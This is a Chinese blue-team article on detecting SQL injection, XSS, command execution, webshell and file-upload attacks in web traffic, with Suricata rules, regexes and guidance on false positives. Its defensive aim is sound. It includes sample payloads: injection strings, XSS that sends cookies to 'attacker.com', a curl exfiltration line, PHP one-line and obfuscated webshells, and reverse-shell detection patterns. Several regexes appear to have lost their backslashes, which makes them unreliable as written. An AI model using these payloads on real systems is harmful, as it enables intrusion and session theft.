SQL注入、XSS、文件上传流量特征分析

admin 2025年5月19日17:10:49评论1 views字数 8166阅读27分13秒阅读模式

1.1流量特征分析基础

1.1.1编码与解码

1.常见的编码

攻击者常对流量编码以绕过WAF检测,常见编码方式包括:  

- URL编码:以`%`开头(如`%3Cscript%3E`解码为`<script>`)。  

- Base64:尾部含`=`或`==`(如`PHNjcmlwdD4=`解码为`<script>`)。  

- 16进制:以`x`开头(如`x61`解码为`a`)。  

- Unicode:以`u`或`&#x`开头(如`u7F16u7801`解码为“编码”)

2.常见特殊字符url编码

(1)URL 编码相关字符

字符

编码

攻防用途

+

%2B

+被解析为空格,可能被用于绕过空格过滤(如 SQL 注入中的 UNION SELECT语句)

空格

%20+

空格常被用于分隔 SQL 注入语句(如 UNION SELECT 1,2),或绕过输入过滤。

/

%2F

在路径遍历攻击中(如 ../../etc/passwd),/ 被编码为 %2F,绕过路径检查 

?

%3F

 分隔 URL 和参数,攻击者可能通过构造恶意参数(如 ?id=1 OR 1=1)进行 SQL 注入

%

%25

双重编码(如 %%2F 解码为 %2F)可绕过单层编码过滤。

#

%23

# 后的片段标识符常被忽略,攻击者可能通过 # 传递恶意数据(如 XSS 代码) 

&

%26

攻击者可能通过构造多个参数(如 id=1; DROP TABLE users)注入恶意命令。

=

%3D

 分隔键值对,攻击者可能通过构造畸形参数(如 username=admin%3D)绕过验证

(2)HTML/XML 特殊字符

字符

编码

攻防用途

<

%3C / &lt;

XSS 攻击中,< 被用于注入 HTML 标签(如 <script>)。

>

%3E / &gt;

与 < 配合,闭合标签或注入脚本。

"

%22 / &quot;

XSS 攻击中," 用于闭合 HTML 属性(如 <img src="x" onerror=alert(1)>)。

'

%27 / &#39;

在 JavaScript 中,单引号用于闭合字符串(如 onerror='alert(1)')。

/

%2F / &#47;

在 XML/XSS 攻击中,/ 用于闭合标签(如 </script>)。

(3)保留字符(需编码)

保留字符在 URL 中有特殊含义,若需表示字面值必须编码为%HEX格式:

字符

含义

编码(UTF-8)

空格

%20或 +

!

保留(分隔符)

%21

#

锚点标识符

%23

$

保留(参数分隔)

%24

%

编码标志符

%25

&

参数分隔符

%26

'

单引号

%27

(

保留(特殊用途)

%28

)

保留(特殊用途)

%29

*

保留(特殊用途)

%2A

+

空格(查询参数中)

%2B

,

保留(分隔符)

%2C

/

路径分隔符

%2F

:

协议分隔符

%3A

;

保留(参数分隔)

%3B

=

键值对赋值

%3D

?

查询参数起始符

%3F

@

用户信息分隔符

%40

[

保留(IPv6地址)

%5B

]

保留(IPv6地址)

%5D

3.在线解码工具 

工具推荐:  

- 在线解码神器:https://cyberchef.org/

- AI辅助分析:https://www.jyshare.com/ai/

锤子在线工具网:https://www.toolhelper.cn/EncodeDecode/Base64

蓝队工具:https://github.com/abc123info/BlueTeamTools

SQL注入、XSS、文件上传流量特征分析
SQL注入、XSS、文件上传流量特征分析
SQL注入、XSS、文件上传流量特征分析

1.1.2正则规则库

流量分析中的正则规则库主要用于识别网络流量中的特定模式,如协议标识、攻击特征、数据泄露尝试等。这些规则通常基于正则表达式(regex),用于匹配或过滤网络数据包的内容。虽然没有一个统一的“标准”流量分析正则规则库,但有几个知名的工具和框架提供了一定的基础规则集,并允许用户根据需要自定义规则。

Snort:Snort是一个开源的网络入侵检测系统(NIDS),它使用规则来描述网络流量的行为模式。这些规则可以用来检测各种威胁,包括端口扫描、缓冲区溢出攻击等。Snort的规则语言支持正则表达式,使得它能够灵活地匹配复杂的流量模式。

Suricata:类似于Snort,Suricata也是一个开源的、高性能的网络IDS、IPS和网络安全监控引擎。它支持复杂的规则设置,包括使用正则表达式来定义如何识别网络流量中的恶意活动。

Bro/Zeek:Bro,现在被称为Zeek,是一种专门用于网络分析的安全监控框架。与Snort和Suricata不同,Zeek更注重于提取高层语义信息,而不是简单地匹配预定义的签名。尽管如此,Zeek脚本语言的强大功能允许用户编写定制化的逻辑来分析网络流量,这包括使用正则表达式进行深度包检测。

Wireshark Display Filters:Wireshark是世界上最重要且广泛使用的网络协议分析器之一。虽然Wireshark本身并不主要依赖于正则表达式来过滤数据,但其显示过滤器机制非常强大,可用于选择性地查看感兴趣的流量。对于某些情况,可以通过Lua脚本扩展Wireshark的功能,以支持更复杂的分析需求,包括使用正则表达式。

1.2五大常见攻击特征

1. 2.1SQL注入  

(1)漏洞成因:用户输入未过滤直接拼接SQL语句

(2)攻击手法

  ○ 联合查询注入:UNION SELECT database()

  ○ 报错注入:AND 1=CONVERT(INT,'A')

  ○ 布尔盲注:AND SUBSTRING(@@version,1,1)=5

(3)常见工具链:SQLMap、BurpSuite、Nmap

(4)特征

  • 参数中含`and 1=1`、`union select`、`from information_schema`等语句。  
  • %55NION SELECT(URL编码绕过)
  • UNI/**/ON SELECT(注释符分割关键字)

(5)示例:  GET/news.asp?id=1+UNION+SELECT+1,password,3+FROM+user

(6)请求特征:

  •   高频出现SELECT/UNION/UPDATE/INSERT等关键字
  •   URL参数含单引号转义(%27或%5C')
  • Cookie/SessionID注入:SQL语句出现在非参数位置(如Cookie: user=admin' AND 1=1 --)

(7)响应特征:

  •   返回数据库错误信息(如MySQL syntax error)
  •   响应内容包含敏感数据(如用户表字段)

(8)流量检查规则——SQL注入规则(Suricata示例)

alert http any any -> any any (msg:"SQL Injection Attempt"; content:"SELECT|UNION|UPDATE|INSERT"; http_header; pcre:"/User-Agent|Referer/i"; sid:1000001; rev:1;)

Suricata规则增强

alert http any any -> any any (msg:"Advanced SQLi Detection"; 

  content:"SELECT"; http_client_body; 

  pcre:"/(unionW+select|fromW+information_schema|convert(.*?int)/i"; 

  metadata:service http; sid:1000003; rev:2;)

(9)正则规则示例

匹配UNION SELECT、注释符--、恒真条件1=1等注入特征

(unions+select|execs+(|--s+$|sleep(d+)|1s*=s*1|drops+table)

# 匹配多形态注入(含注释符、编码、空格变形)

(?i)((ux6eions+selw+)|(1s*=[^w]+s*1)|(/*!d{5}.*?*/)|(convert(.*?int)))

1.2.2. XSS攻击  

(1)漏洞类型

  ○ 反射型:通过URL参数触发

  ○ 存储型:数据库存储恶意脚本

  ○ DOM型:前端JavaScript解析漏洞

(2)攻击载荷示例:

<script>alert(document.cookie)</script>

<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>

 (3)特征:

请求中嵌入`<script>`、`onerror=alert()`等恶意脚本。  

SVG/HTML5新标签利用:<svg onload=alert(1)>  、<details open ontoggle=prompt(1)>

 (4)示例:  GET/search?q=<img src="javascript:alert('xss')>  

(5)请求特征

    • User-Agent含<script>标签或onerror事件
    • Referer字段携带恶意脚本链接
    • JSONP劫持:URL参数含callback=<script>...(如?callback=alert(1)//)

(6)响应特征

返回内容未转义用户输入(如<script>alert(1)</script>直接输出)

(7)XSS检测规则

alert http any any -> any any (msg:"XSS Attack Detected"; content:"<script>|onerror|onload"; http_header; sid:1000002; rev:1;)

(8)XSS攻击拦截正则规则

过滤跨站脚本攻击中的HTML/JS代码

(<script>|alert(|onerror=|javascript:)

# 匹配HTML事件属性及JS伪协议

(<scriptb|onw+s*=|javascript:w+|data:w+/.*?;base64,)

1.2.3. 命令执行  

(1)漏洞成因

系统函数调用未过滤用户输入(如PHP的system()、Python的os.popen())

(2)攻击手法分类

管道符拼接:; cat /etc/passwd | grep root

环境变量注入:curl $(whoami).attacker.com

(3)检测规则(Suricata示例)

suricata

alert tcp any any -> any any (msg:"Reverse Shell Detected"; 

  content:"/bin/sh -i"; depth:50; 

  pcre:"/(b(bash|nc|socat)b.*?b(\d{1,3}\.){3}\d{1,3}b)/i"; sid:1000005;)

(4)正则规则示例

# 匹配常见命令执行关键字

(b(pwsh|cmd.exe|/dev/tcp/)b|(|s*curls+)|(${IFS}))

 (5) 特征:参数含系统命令(如`/bin/bash`、`certutil`)或反弹Shell语句。  

 (6)示例:  GET/cgi/ptcmd.cgi?cmd=;cat+/etc/passwd  

1.2.4. Webshell连接  

(1)特征增强

加密通信:POST数据含eval(gzinflate(base64_decode(等嵌套函数

时间戳防检测:URL含随机参数(如?t=1689321000)

访问非常规路径(如`admin.php`),参数含`eval`、`base64_decode`等函数。  

(2)Suricata规则示例

alert http any any -> any any (msg:"Webshell Activity"; 

  content:"POST"; http_method; 

  pcre:"/(eval(|assert(|base64_decode(.*?$_(POST|GET))/i"; 

  metadata:service http; sid:1000006; rev:1;)

(3)正则规则示例

# 匹配动态函数调用及编码特征

(bevals*(s*$_(GET|POST|REQUEST)|base64_decodes*(s*['"][A-Za-z0-9+/]+=*))

 (4)示例: POST/admin.php?id=@eval($_POST['z0'])  

1.2.5. 敏感信息泄露  

 (1) 特征:尝试访问`web.config`、`/etc/passwd`、`.bak`等敏感文件。 

(2)正则规则示例

# 匹配配置文件、备份文件路径

(/.(env|htaccess)b|.(bak|swp|old)b)

1.2.6.文件上传

(1)漏洞场景:

  ○ 未校验文件类型/扩展名

  ○ 服务器解析漏洞(如IIS 6.0的.cer解析为.asp)

(2)攻击手法:

  ○ 上传Webshell(如<?php system($_GET['cmd']); ?>)

  ○ 利用文件包含漏洞(include($_GET['file']))

(3)请求特征:

  •  Content-Type头异常(如image/png但实际内容为PHP代码)
  •  文件名含特殊字符(如..%2F尝试目录穿越)
  • 双扩展名绕过:shell.php.jpg
  • Content-Length异常:小文件头隐藏大马(如GIF89a头后接PHP代码)

(4)文件特征

  •  Magic头检测绕过(如修改GIF文件头隐藏PHP代码)
  • 免杀Webshell特征<?php $x=chr(115).chr(121); $x($_GET['c']);?>  # 字符拼接绕过

(5)正则规则示例

# 匹配文件头与扩展名不一致

(^x89PNG.*?<?php|GIF8[79]a.*?$_(GET|POST))

1.3攻击成功判断与误报分析

1.3.1攻击成功判断

1. 状态码分析

200 OK:攻击请求被服务器成功处理(最常见成功标志)。示例:SQL 注入成功后返回数据库数据(如 You have an error in your SQL syntax)。

302 Found:攻击可能导致重定向到恶意页面(如 Webshell 登录界面)。

500 Internal Server Error:攻击可能触发服务器异常(如命令注入导致服务崩溃)。

2. 响应包内容分析

(1)数据库报错信息

SQL 注入特征:返回 MySQL server version, syntax error, 或敏感字段名(如 username, password)。

示例:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' OR '1'='1'--' at line 1。

(2)敏感数据泄露

文件读取成功:返回 /etc/passwd 文件内容或 Web 应用配置信息。

命令执行成功:返回系统命令输出(如 whoami 返回 root)。

(3)Webshell 执行结果

特征:返回 Webshell 管理界面(如菜刀的 QGluaV9zZXQo base64 编码)、上传文件成功提示或执行脚本结果。

3. 日志与会话关联

(1)HTTP 访问日志

异常请求频率:短时间内高频请求同一路径(如 /login.php 被多次爆破)。

异常 User-Agent:使用非浏览器 User-Agent(如 Wget、curl)或 Webshell 特征(如 Mozilla/5.0 (compatible; MSIE 9.0))。

(2)网络连接日志

反向 Shell 连接:检测到对外部 IP 的异常出站连接(如 C2 服务器)。

横向移动痕迹:攻击者通过成功入侵的主机对内网其他主机发起扫描或登录尝试。

4. 行为验证

(1)复现实验

使用攻击 payload 重新发送请求,观察是否复现相同响应(如返回数据库数据)。

(2)系统检查:

进程分析:检查是否存在异常进程(如 nc、meterpreter)。

文件检查:查找上传的 Webshell 文件(如 .php、.jsp 后缀)。

 1.3.2误报分析

1. 常见误报场景

场景

示例

误报原因

业务参数含 SQL 关键词

用户发布文章内容包含SELECT * FROM users

业务逻辑正常,但被 WAF 误判为 SQL 注入。

非文本文件被误判为 Webshell

上传图片文件被标记为eval($_POST['cmd'])

文件内容包含二进制数据,与 Webshell 特征匹配。

合法功能使用目录穿越

访问http://example.com/../backup/config.php

业务需求允许访问特定目录,但路径被误判为攻击。

内部测试流量

安全团队主动扫描内网服务(如 Nmap 扫描)

流量特征与攻击相似,但实际为授权测试。

2. 误报判断方法

(1)IP 地址分析

内部 IP:若源目 IP 均为内部资产(如 192.168.x.x),优先判断为误报(需进一步验证业务逻辑)。

外部 IP:使用威胁情报平台(如 VirusTotal、微步在线)查询 IP 是否标注为傀儡机、矿池等。

(2)访问时间与频率

异常时间:凌晨高频请求(如 2:00 AM 的 SQL 注入尝试)可能为真实攻击。

正常业务时间:白天高频请求但与业务无关(如大量 /admin 请求)需警惕。

(3)请求上下文验证

参数合法性:检查参数是否符合业务逻辑(如 username=admin 是正常参数,而 username=1' OR '1'='1 是攻击)。

响应内容:若攻击请求返回 404 或无变化内容,可能是误报。

3. 误报应对策略

(1)自动化规则优化

白名单机制:将已知合法参数(如 SELECT、AND)加入 WAF 白名单。

上下文匹配:结合 URL 路径(如 /search 允许 SQL 关键词)细化规则。

(2)人工复核流程

多维度交叉验证:结合日志、网络流量、系统行为综合分析。

沙箱验证:对可疑文件上传至沙箱环境运行,观察行为是否异常。

(3)误报闭环管理

记录与归档:将误报案例归档,用于后续规则优化。

定期复盘:分析误报趋势,调整安全设备阈值(如降低 WAF 敏感度)。

1.4实战案例解析  

1.4.1Base64+URL双重混淆攻击  

POST/admin.php?ghost=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzI...  

分析步骤:  

1. URL解码后获取`@eval(base64_decode($_POST[z0]))`。  

2. 解码`z0`参数Base64内容,发现读取服务器配置文件,确认为Webshell行为。  

1.4.2 SQL注入野利用

  • 案例场景
    • 某电商网站用户登录接口存在SQL注入
  • 攻击过程
    1. 使用'探测报错信息
    2. 通过ORDER BY猜解表字段数
    3. 联合查询导出用户表数据
  • 流量时序图
    • 初始探测 → 字段探测 → 数据导出 → 横向移动

1.4.3 XSS会话劫持

  • 案例场景
    • 某论坛评论区存在存储型XSS
  • 攻击过程
    1. 插入恶意脚本到评论数据库
    2. 用户访问页面时Cookie被窃取
    3. 攻击者利用Cookie冒充用户
  • 流量对比分析
    • 正常流量:无恶意脚本
    • 恶意流量:含<script src=https://attacker.com/steal.js></script>

1.4.4 文件上传Webshell

  • 案例场景
    • 某CMS后台未校验文件类型
  • 攻击过程
    1. 上传伪装成图片的Webshell(shell.php.jpg
    2. 通过文件包含漏洞执行shell.php
    3. 获取服务器权限
  • 文件特征分析
    • 二进制内容含<?phpsystem($_GET['cmd']);

1.5合规与防御建议  

严守法律:所有渗透测试需获得合法授权,禁止未授权扫描入侵。  

优化规则:定期更新WAF策略,结合威胁情报封禁恶意IP。  

监控重点:关注非工作时间日志、高频请求、境外IP访问。  

1.5.1技术防范

  • SQL注入防护
    • 参数化查询(PreparedStatement)
    • Web应用防火墙(WAF)规则拦截
  • XSS防护
    • 输入内容HTML编码(如&lt;替代<
    • 内容安全策略(CSP)限制脚本来源
  • 文件上传防护
    • 文件类型白名单校验(如仅允许.jpg/.png)
    • 文件内容Magic头深度检测

1.5.2纵深防御策略

1.深度防御组合

正则规则库 + WAF行为分析(如请求频率限制)

静态规则 + 动态沙箱(检测文件上传后的真实行为)

2.加密流量检测

在网关部署SSL解密策略,明文检测后再加密转发

3.规则性能优化

原文始发于微信公众号(小兵搞安全):SQL注入、XSS、文件上传流量特征分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日17:10:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入、XSS、文件上传流量特征分析https://cn-sec.com/archives/4043255.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息